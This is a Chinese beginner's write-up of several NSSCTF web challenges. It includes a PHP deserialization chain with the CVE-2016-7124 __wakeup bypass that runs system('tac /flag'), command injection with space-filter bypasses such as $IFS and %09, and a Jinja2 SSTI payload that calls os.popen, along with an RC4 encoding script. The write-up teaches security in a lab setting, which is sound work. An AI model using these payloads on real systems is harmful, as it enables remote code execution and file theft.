NSSCTF靶场刷题(2)

个人博客主页有(1)哈哈。有兴趣也可以去看看呀。

NSSCTF靶场真就新手友好。最近也有人问我怎么学习Web。虽然我还是属于小白哈哈哈就一年下来,入门的话推荐NSSCTF和CTFShow两个靶场。而且NSSCTF还有标注考查的点是什么,难度级数这种,新手刷真题友好区。CTFshow web入门区适合系统学习。BUUCTF适合进阶型,有一定难度。

我个人更倾向于直接上手实操,不用担心会不会,是不是学了系统的知识才能去做题,相反是做了题,在这个做题过程中学到知识。

好啦不多说。本篇题目解析还是一如既往,尽量在解析过程中把解题逻辑理清晰,讲一道题思路如何从1到2再到3,也有给出自己写的案例来辅助各位理解。尽量贴合新手小白的思路,虽然我自己也算小白哈哈。如果题目解析哪里有不恰当的地方恳请各位师傅指出!!///

[MoeCTF 2021]Web安全入门指北—GET

开题

代码审计:用GET方式传参,参数名为moe。

moe=flag时回显flag值。

hackbar一把嗦。

但是值得一提的是,类似方式得到的flag在大赛里面往往是假flag。或者是被分散的flag。而且往往以签到题居多。

[SWPUCTF 2022 新生赛]ez_1zpop

开题。

首先代码审计:通过GET传参传入参数名为NSS的参数,再将其反序列化。

很明显的一题反序列化。

做这类题首先是找可以写入shell的地方在哪。也就是链的终点。

而在类fin中有这么一段代码

//class fin 
​
function fmm()
{
     $b = $this->a;
     $b($this->title);
}

中完全可以执行代码

system('tac /flag');

此时

system=$b=$this->a;

$this->title ='tac /flag';

此时。我们在自己的编译器上标注这一块是链子终点。为第一步。

第二步。找到可以触发fmm()的代码,也就是2

这里有两个可以触发fmm()的地方。分别是16行和22行。

return $this->impo->fmm();   //16行和22行均为此代码。

但是16行的代码触发fmm()是属于类 dxg 的。和我们目标无关。

但它隶属于魔术方法___wakeup()之下。

魔术方法___wakeup()在反序列化时实例创建之后会自动首先触发。

怎么理解这个实例创建后触发呢? 我们写个例子来理解一下。

//example 魔术方法___wakeup()理解
​
<?php
highlight_file(__FILE__);//高亮方便查看码源。
class info{
    function __wakeup()
    {
        echo "flag";
    }
    
}
$a= new info();
$a= serialize($a);
$a= unserialize($a);
?> 
//回显"flag"表示。调用成功。

而在本题中我们需要绕过触发___wakeup()魔术方法。从而才能避免第15行触发代码块

$this->impo = new dxg;    //第15行代码块

而我们想触发fmm()的代码隶属于魔术方法___toString()之下。

魔术方法___toString()是在对象被当作字符串使用时触发

同样,我写个例子来理解一下。

//example 魔术方法___toString()理解

<?php

highlight_file(__FILE__);
class person
{
    public $name;
    public $age;

    public function re($name,$age)
    {
        $this->name=$name;
        $this->age=$age;
    }

    public function __toString(){
        return "姓名:".$this->name.",年龄:".$this->age;
    }
}

$a=new Person("xinxin",20);
echo $a; //使用echo输出对象,使得类person被当作字符串调用。

?>

//输出"姓名:xinxin,年龄:20"

而类dxg在本题没有具体作用。

可以在写链子时候删掉。

<?php
highlight_file(__file__);
​
class lt
{
   public $impo;        // 2 原先这里是 public $impo='hi',我们把这里写成 new fin();
   public $md51='s155964671a';
   public $md52='s214587387a';  // 2 把md51和md52换成两个值不等但MD5处理后相等的值。
}
​
class fin
{
   public $a='system';
   public $url = 'https://www.ctfer.vip';
   public $title='tac /flag';
}
​
$a=new lt();
$b=new fin();
$a->impo=$b;
$c=serialize($a);
echo $c;
​
?>

拿到本地运行后得到

//原始数据
O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"tac /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}

但我们要想绕过___wakeup()魔术方法,简单来说,就要把把3改成大于3的数字,从而绕过。

具体说属于CVE-2016-7124。【详情可以见__wakeup()魔术方法绕过(CVE-2016-7124)_绕过wakeup魔术方法-CSDN博客

属于反序列化漏洞之一。本题需要用到。

即改成

//修改后的数据
O:2:"lt":5:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"tac /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}

传参过去得到flag。

[FSCTF 2023]细狗2.0

开题。

它说【这个按钮不能点哦】

点点看呢?

dirsearch 扫后台也没扫出可疑端口来。

那就意味着只能从主页的输入口输东西拿flag。

输入很多东西都没什么反应

看了其他师傅的wp才知道这里居然是用【;】闭合

很奇特的解题思路。我觉得可以用在处理CTF中打AWDP中的fix环节。

那我们输入

;ls

得到界面

index.php估计就是主页,moyu.php应该就是回显页面。

为什么这么说。我们可以看见URL此时就是/moyu.php。

接着尝试输入

;ls /

看来我输入的一些东西是被过滤了。

;ls肯定不是。

那么只剩空格和/。经过测试。被过滤的是空格。

此时如何绕过空格过滤呢?

这里有几种空格平替。

//空格平替
$IFS
${IFS}
$IFS$6  //这里的数字不是6也可以,其他数字也可以。
%09
%20

ok成功进入根目录。

直接拿flag.

哦莫。显然这个地方又被ban了。

结合前面的内容,被过滤的八成是【flag】

没关系。用''绕过一下关键字过滤就好。

ok。顺利拿到flag。

[MoeCTF 2022]ezphp

开题。

一眼变量覆盖。

哈哈哈开玩笑。做过类似的主要是。

先代码审计一波:

1.不能同时用POST和GET方式传参flag。

2.无论是用POST还是GET传参flag,都不能使得flag等于'flag';

3.但是如果我想要拿$flag,我又要使得$flag=flag。

4.唯一可以利用的就是两个循环遍历代码。选择一种,会遍历你传进去的POST/GET参数名和具体值,然后进行值的再覆盖。

foreach ($_GET as $key => $value){
    $$key = $$value;
}

如何理解这里的遍历代码,我写个小例子。

123=flag&flag=123
​
//用在这道题上。
//第一步。
$123=flag
$$123=$flag=123
​
//第二步。
$flag=123
$$flag=$123=flag
​
//所以综合以上。就有第一次$flag=123。第二次$123=flag。=>$$flag=flag。

同时这也是答案。

而且注意传参顺序不能出错。个人猜测这和foreach遍历顺序有关。

【请教各位师傅,不太理解传参顺序为什么不能替换】

payload:

url/?123=flag&flag=123

不能写成

url/?flag=123&123=flag

这种状况下是得不到flag的。

[NISACTF 2022]is secret

开题。

页面是这样的。

web题这种情况通常做三件事

1.先看码源。

2.BP拦截再发包看看流量包里有没有什么可疑内容。

3.工具扫目录。

这里码源和再发包基本上都没看见什么可疑内容。

只有扫目录扫到了可疑URL后缀。

一个个访问看看什么情况。

/console

不太清楚这是什么界面

/robots.txt

安卓?

/secret

感觉有点SSTI或者SQL注入那味了。

而且它明显在问我一个参数secret。个人做题经验告诉我SSTI可能性更大。

试试是否存在SSTI

/secret?secret={{7*7}}

结果出现了UnicodeDecodeError提示字样。

并且还有一个比较显眼的被红框圈住的

点开来看看是什么东西。代码块中发现了可疑内容:

render_template_string(safe(deS))

出现函数render_template_string()——很明显存在SSTI。

为什么这么说,原理理解基本上如下:

加上最近也在做SSTI专题。所以看见函数 render_template_string() 就比较敏感。

同样我们对这段码源进行审计一下。

if(secret==None): #判断secret是否为空
​
    return 'Tell me your secret.I will encrypt it so others can\'t see'
​
rc=rc4_Modified.RC4("HereIsTreasure")   #对传入的内容进行rce4解密,密钥是HereIsTreasure
​
deS=rc.do_crypt(secret)
​
 
​
a=render_template_string(safe(deS)) #对rce4解密后的内容进行safe()过滤。最后进行字符串渲染
​
if 'ciscn' in a.lower():
​
    return 'flag detected!'
​
return a

网上找了个rce4加密脚本。

而且rce4加密有个特点:RC4是一种对称加密算法,那么对密文进行再次加密就可以得到原来的明文

#RCE4加密脚本
​
import base64
from urllib import parse
​
​
def rc4_main(key="init_key", message="init_message"):  # 返回加密后得内容
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return crypt
​
​
def rc4_init_sbox(key):
    s_box = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
​
​
def rc4_excrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
​
​
key = "HereIsTreasure"  # 此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main(key, message)
enc_init = str(base64.b64decode(enc_base64), 'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:" + enc_url)
# print("rc4加密后的base64编码"+enc_base64)

测试一下确实存在SSTI

接下来就正常SSTI注入即可。

这里我们用通用注入式即可。

{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}

在如上未RCE4加密前的payload中:

config充当占位符。

class返回当前类。

init初始化类。

globals对包含函数全局变量的字典的引用,所有的函数都会有一个__globals__属性,它会以一个 dict ,返回函数所在模块命名空间中的所有变量。

再调用os模块的popen执行命令。

//payload1

.%14ZZ%C2%A4%01%02i%25%C2%A2%C3%A7%10%C2%B2%C2%B3%C3%A5%C2%BB%0B%C2%AC%1A%0B%C2%88%5B%C3%AE%7B%1E%C2%AE%07%C3%87m%C3%B35%C3%AB%22%C2%89L%C3%9A%1B%C3%8E%17%C3%9F%3C%C3%95%C2%9E%C2%A5P%40%C2%AD%15%C2%B5%C2%B8H%24%25%C3%A79%2C%C3%98x%01%C2%8A%C2%ABO%10%C3%B1%C3%9CP%C2%A7T

{{config.__class__.__init__.__globals__['os'].popen('tac /flag.txt').read()}}

//payload2

.%14ZZ%C2%A4%01%02i%25%C2%A2%C3%A7%10%C2%B2%C2%B3%C3%A5%C2%BB%0B%C2%AC%1A%0B%C2%88%5B%C3%AE%7B%1E%C2%AE%07%C3%87m%C3%B35%C3%AB%22%C2%89L%C3%9A%1B%C3%8E%17%C3%9F%3C%C3%95%C2%9E%C2%A5P%40%C2%AD%15%C2%B5%C2%B8H%24%25%C3%BF%2Bo%C3%97pN%C3%88%C2%B8M_%C3%A1%C2%8C%0D%C3%BD%00tV2%C3%A8K%C2%93p%C3%BDa

拿到flag。

  • 35
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值